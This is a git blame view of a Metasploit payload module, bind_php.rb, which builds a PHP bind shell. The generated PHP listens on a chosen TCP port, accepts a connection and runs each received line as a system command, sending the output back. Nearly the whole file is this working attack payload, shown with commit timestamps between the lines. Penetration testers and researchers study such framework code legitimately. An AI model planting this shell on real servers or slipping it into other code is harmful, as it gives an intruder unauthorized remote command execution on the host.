Files
metasploit-gs/modules/payloads/singles/php/bind_php.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

81 lines
2.1 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
module MetasploitModule
2015-03-09 15:44:14 -05:00
CachedSize = :dynamic
2006-12-18 22:06:19 +00:00
include Msf::Payload::Single
2008-07-01 01:44:56 +00:00
include Msf::Payload::Php
2010-02-24 01:19:59 +00:00
include Msf::Sessions::CommandShellOptions
2006-12-18 22:06:19 +00:00
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'PHP Command Shell, Bind TCP (via PHP)',
'Description' => 'Listen for a connection and spawn a command shell via php',
'Author' => ['egypt', 'diaul <diaul[at]devilopers.org>',],
'License' => BSD_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'Payload' => {
'Offsets' => {},
2006-12-18 22:06:19 +00:00
'Payload' => ''
}
)
)
2006-12-18 22:06:19 +00:00
end
#
# PHP Bind Shell
#
def php_bind_shell
dis = '$' + Rex::Text.rand_text_alpha(4..7)
2008-07-01 01:44:56 +00:00
shell = <<-END_OF_PHP_CODE
2017-02-02 17:57:03 -06:00
#{php_preamble(disabled_varname: dis)}
2008-07-01 01:44:56 +00:00
$port=#{datastore['LPORT']};
$scl='socket_create_listen';
if(is_callable($scl)&&!in_array($scl,#{dis})){
2008-09-04 03:52:02 +00:00
$sock=@$scl($port);
2008-07-01 01:44:56 +00:00
}else{
2008-09-04 03:52:02 +00:00
$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$ret=@socket_bind($sock,0,$port);
$ret=@socket_listen($sock,5);
2008-07-01 01:44:56 +00:00
}
2008-09-04 03:52:02 +00:00
$msgsock=@socket_accept($sock);
@socket_close($sock);
2006-12-18 22:06:19 +00:00
2008-09-04 03:52:02 +00:00
while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
2006-12-18 22:06:19 +00:00
{
$o = '';
2008-09-04 03:52:02 +00:00
$c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
2008-07-01 01:44:56 +00:00
if(FALSE===$c){break;}
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
#{php_system_block({ cmd_varname: '$c', output_varname: '$o', disabled_varname: dis })}
}
2008-09-04 03:52:02 +00:00
@socket_write($msgsock,$o,strlen($o));
2008-07-01 01:44:56 +00:00
}
2008-09-04 03:52:02 +00:00
@socket_close($msgsock);
2006-12-18 22:06:19 +00:00
END_OF_PHP_CODE
2010-02-24 01:19:59 +00:00
2006-12-18 22:06:19 +00:00
return shell
end
#
# Constructs the payload
#
2022-11-04 00:33:03 +00:00
def generate(_opts = {})
2006-12-18 22:06:19 +00:00
return super + php_bind_shell
end
end